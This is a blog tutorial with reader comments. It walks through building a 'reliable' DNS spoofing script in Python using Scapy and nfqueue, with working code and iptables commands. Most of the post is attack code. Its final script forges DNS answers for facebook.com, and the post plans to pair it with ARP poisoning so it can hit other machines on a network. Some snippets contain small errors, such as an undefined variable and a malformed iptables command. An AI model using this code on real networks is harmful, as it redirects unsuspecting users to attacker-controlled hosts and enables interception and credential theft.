Reliable DNS spoofing with Python: Scapy + Nfqueue pt. 1

When you Google, “DNS spoof scapy” every example I can find is technically DNS spoofing but extremely unreliable. Using pure Scapy to create a DNS spoofing script will create a race condition between the spoofed packet from the attacker’s Scapy script and the legitimate response from the router. Should the victim recieve the legit response first their browser will usually cache the result and further attempts to spoof the domain will fail. Today we learn how to fix that. Lets start with some simple Scapy examples and build on those.

Simple Scapy Examples

Sniff packets

from scapy.all import *
def callback(pkt):
    if pkt.haslayer(TCP):
        print pkt.summary()
        print pkt.show()
        print pkt[TCP] # equivalent to: print pkt.getlayer(TCP)
sniff(filter=”port 80”, prn=callback, store=0, iface=’wlan0’)

The above code will capture and print all the details of every packet that arrives on port 80 to the interface wlan0. Sniff() is a built in function of scapy that collects all the packets you tell it to then dumps them off in a callback function. store=0 just means that sniff() won’t store the packets it captures in memory. prn= is the function that sniff() will place the packets it captures into. In this case that’s callback().

Examples of filters you can use at http://biot.com/capstats/bpf.html

Inject packets

When injecting packets you have two choices, create a new packet from scratch or modify one that sniff() captured. To create one from scratch you can do something like this:

pkt=Ether()/IP(dst="new.ycombinator.com")/TCP()/"GET /index.html HTTP/1.0 \n\n"

This created a TCP packet destined for slashdot.org requesting that page’s html.The rest of the packet’s options are automatically set to default values by Scapy because Scapy’s a nice guy. You’ll notice Scapy uses layers to build packets. packet = Ether()/IP()/TCP(), ether layer, followed by IP layer, followed by TCP layer which can have HTTP headers and payloads attached in the form of a raw load (which you can see with packet[Raw].load).To send this packet simply use the send() function:

send(pkt)

To continuously send the packet:

send(pkt, loop=1)

Lets put those together and modify a packet that sniff() receives from the host 192.168.0.5.

def callback(pkt):
    if pkt.haslayer(DNS):
        pkt[DNS].dport = 10000
        send(pkt)
sniff(filter=”host 192.168.0.5”, prn=callback, store=0, iface=’wlan0’)

This example will collect all packets from/to 192.168.0.1 from interface wlan0, check if that packet has a DNS layer, change the packet’s destination port to 10000, then send it off with all the other values being the same as the original.

Here’s a DNS spoofing example that’s a little more complex but same concept as above.

from scapy.all import *
def dns_spoof(pkt):
    redirect_to = '172.16.1.63'
    if pkt.haslayer(DNSQR): # DNS question record
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                      an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
        send(spoofed_pkt)
        print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='wlan0', store=0, prn=dns_spoof)

Within the DNS layer of spoofed_pkt:

-rdata is the value we change to redirect them elsewhere
-aa means the responding nameservers are authoritative for this domain
-id is a 16 bit identifier assigned by the program that generates the query
-qr is a 1 bit field that specifies DNS query (0) or response (1)

The callback function dns_spoof() is waiting for a packet with a DNSQR record, meaning a packet that is requesting the IP address of a specific domain. You can see the domain the client requested by printing pkt[DNSQR].qname. It then copies the relevant values from the DNS request packet and places them into a DNS response packet named spoofed_pkt which it sends to the client that requested the DNS record.

The above is the kind of example you’ll find in nearly every result from a Google search of dns spoofing and Scapy. In both of these examples the original DNS request packet is still being sent along with the modified packet meaning it is an unreliable way to spoof DNS. It’s a race condition with the router to supply the client with a DNS response packet. Whichever packet makes it to the client first, be it the router’s legit response or our spoofed response, will be cached on the victim’s browser and be used for the actual domain to IP lookup. Scapy has no means to block packets. The solution to this problem is to use iptables to drop or forward packets. Nfqueue-bindings is the Python module we will use to interact with iptables and forward or block certain packets.

Scapy + nfqueue for Packet Blocking, Modification, and Forwarding

Install nfqueue-bindings:

apt-get install python-nfqueue

or

yum install python-nfqueue

nfqueue-bindings will let you interact with packets you queue up with iptables after you set up an iptables packet queue using the command:

iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE

These rules will place every UDP packet from or to port 53 into a queue where they can then be manipulated with the Python nfqueue-bindings. It should be noted that if you are DNS spoofing while performing a MITM attack like ARP poisoning or FakeAP attack then you can’t use the OUTPUT chain or else you’ll only catch your own DNS packets. The PREROUTING chain is the chain that packets enter prior to getting any routing instructions. The OUTPUT chain is for packets that are created and sent from the iptables machine itself. For testing purposes we will be using the OUTPUT chain so you can run the script and see how it’s working without going through the hassle of getting out multiple devices and Man-In-The-Middling one of them.

Simple nfqueue-bindings + Scapy Examples

import nfqueue
from scapy.all import *
import os
os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')
def callback(payload):
    data = payload.get_data()
    pkt = IP(data)
    payload.set_verdict(nfqueue.ACCEPT)
def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_NET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run() # Main loop
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        os.system('iptables -F')
        os.system('iptables -X')
main()

In order to give our script the ability to drop, forward or modify packets without the original still going out we have to replace the sniff() function with q.try_run(). We start by running the iptables command to push certain packets (udp packets to port 53 in this case) into an iptables queue then we use nfqueue_setup() to create the queue object. q.set_callback(callback) is obviously where we put the callback function. Nfqueue-bindings will give that function every packet it receives as an argument we’re calling “payload”. Once the packet is in the callback function we pull the data from it then place the data into a Scapy IP packet.

It is important to note that iptables is a layer 3 tool meaning it isn’t able to read Ethernet header data like the to and from MAC address fields. Normally when you catch a packet using the sniff() function it’ll look something like: pkt = Ether()/IP()/TCP() but since iptables can’t access the Ethernet layer packets caught using nfqueue-bindings will look like: pkt = IP()/TCP().

Once the packet is in a form Scapy can parse, we can start modifying whatever we want. In the above example we modify nothing. We just pass the packet along it’s way with payload.set_verdict(nfqueue.ACCEPT).

We also have an exception to catch Ctrl-C’s. If Ctrl-C is caught then we unbind the socket the queue object is bound to, close down the queue object, flush the iptables rules, and then exit the script. Below is an example of how we could modify the packet then send it on its way without the original unmodified packet ever traveling down the wire.

import nfqueue
from scapy.all import *
import os
os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')
def callback(payload):
    data = payload.get_data()
    pkt = IP(data)
    if pkt.haslayer(DNSQR): # Beginning modifications
        pkt[IP].dst = '3.1.33.7'
        pkt[IP].len = len(str(pkt))
        pkt[UDP].len = len(str(pkt[UDP]))
        del pkt[IP].chksum
        payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run() # Main loop
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        os.system('iptables -F')
        os.system('iptables -X')
main()

We’re doing a couple important things in the modification section of the callback() function. First we’re changing the destination IP address from whatever it was to ’3.1.33.7′ then we recalculate the length field in the IP header. You will get the same results whether you recalculate using len(str(pkt)) or len(str(pkt[IP])) since there are no Ethernet header fields.

Next we recalculated the length header in the UDP layer. This step is not strictly necessary since we didn’t adjust any parameters within the UDP layer but it’s included for completeness in this tutorial. After that we delete the IP checksum. Scapy is a nice guy so when you delete the checksum he automatically repopulates it with the accurate values. Finally, we throw down a ruling on what’s going to happen to this poor mangled packet with the set_verdict_modified() attribute which will allow modified packets to proceed along their way.

Other than payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt)) to pass modified packets down the wire, the most common rulings will generally be payload.set_verdict(nfqueue.NF_ACCEPT) and payload.set_verdict(nfqueue.NF_DROP). These are fairly self-explanatory. The first will allow the packet to continue to its destination unperturbed and the second will never let the packet leave the machine. Stuck in the endless /dev/null abyss…

You can actually get by without ever using the set_verdict_modified() function. Just use payload.set_verdict(NF_DROP) at the beginning of the callback function, copy the packet, make modifications, and then at the end of the callback function just run send(modified_packet). So you’re copying the packet, dropping it with iptables, then sending the copied and possibly modified packet with Scapy. I ran some speed tests and it is significantly faster to use iptables and nfqueue to send the packet than using Scapy so use the set_verdict_modified() when you can.

Let’s put all this together into a reliable DNS spoofing script. Note that the following script will only DNS spoof the machine that is running it limiting its usefulness. We will change that when we add ARP poisoning in coming examples.

import nfqueue
from scapy.all import *
import os
domain = 'facebook.com'
os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')
def callback(payload):
    data = payload.get_data()
    pkt = IP(data)
    if not pkt.haslayer(DNSQR):
        payload.set_verdict(nfqueue.NF_ACCEPT)
    else:
        if domain in pkt[DNS].qd.qname:
            spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                          an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=localIP))
            payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
            print '[+] Sent spoofed packet for %s' % domain
def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run() # Main loop
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        os.system('iptables -F')
        os.system('iptables -X')
        sys.exit('losing...')
main()

This should make a 100% reliable DNS spoofing script with no race condition because the DNS request never even makes it to the router or destination server. We’re waiting for a DNS request by looking for a packet with the DNSQR (Domain Name System Question Record) layer that contains the string ‘facebook.com’. Before the packet can even leave the machine we reverse the destination and source IP along with the destination and source port so instead of being sent out to the router and beyond, it gets shot right back to the DNS spoofing victim.

We populate the DNS layer with the the same id and qd fields, but change qr to 1 for response rather than the original 0 which is request. The answer section (an) then gives the local IP address as the location of the requested domain (rrname). You’ll notice a lack of IP and UDP length header updates and no deletion of the IP checksum. This is because we’re making a whole new packet rather than copying the existing one and those fields are populated accurately by Scapy automatically. This is in contrast to the previous example where we took the original packet, modified one or two variables and then sent it on it’s way which would keep the checksum and length variables the same as the original packet.

It’s great that we have a working DNS spoofing script, but as it stands it only DNS spoofs the machine that’s running it. In order to actually make it useful we’ll need to implement a MITM attack in parallel as well as change the iptables rule from:

os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')

to:

os.system('iptables -t nat PREROUTING -p udp --dport 53 -j NFQUEUE')

The simplest, yet still highly effective, MITM method continues to be ARP poisoning. See http://danmcinerney.org/arp-poisoning-with-python-2/ for a clean and simple ARP poisoner in Python. Normally if we needed to run 2 functions in parallel like q.try_run() and a constant stream of spoofed packets to poison victims’ ARP tables we would thread the two functions to run in parallel.

COMING IN PART 2:

There’s a major problem with the approach described above though, q.try_run() is a blocking call! So if we were to thread the two methods then the ARP poisoner would only fire off packets when q.try_run() received packets leading to very unreliable ARP poisoning. In order to solve this little predicament we will switch direction from creating a multithreaded script to an asynchronous one in part 2 of this blog post. To learn more about asynchronous programming, see http://krondo.com/blog/?p=1209.

flattr this!

Tagged with: , , , , ,
Posted in Python
3 comments on “Reliable DNS spoofing with Python: Scapy + Nfqueue pt. 1
  1. Kar says:

    Hi,

    I tried your code snippet (The last code snippet posted here), and received this message when i ran it:

    TypeError: callback() takes exactly 1 argument (2 given)
    callback failure !
    TypeError: callback() takes exactly 1 argument (2 given)
    callback failure !
    and it keeps looping…

    Before I look into it, i was wondering if you know what’s happening here.

    • This is due to using an older version of nfqueue. Ubuntu is the one distro I know of that uses older nfqueue bindings in their repos, others might as well but you can either just change callback(payload) to say callback(i, payload) or you can update your nfqueue-bindings to 0.4-3.

  2. Kar says:

    Thanks for the quick response! It works now! Your tutorials are really great! There aren’t many like these around on the internet! Keep them coming!

Leave a Reply

Your email address will not be published. Required fields are marked *

*


5 − = zero

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>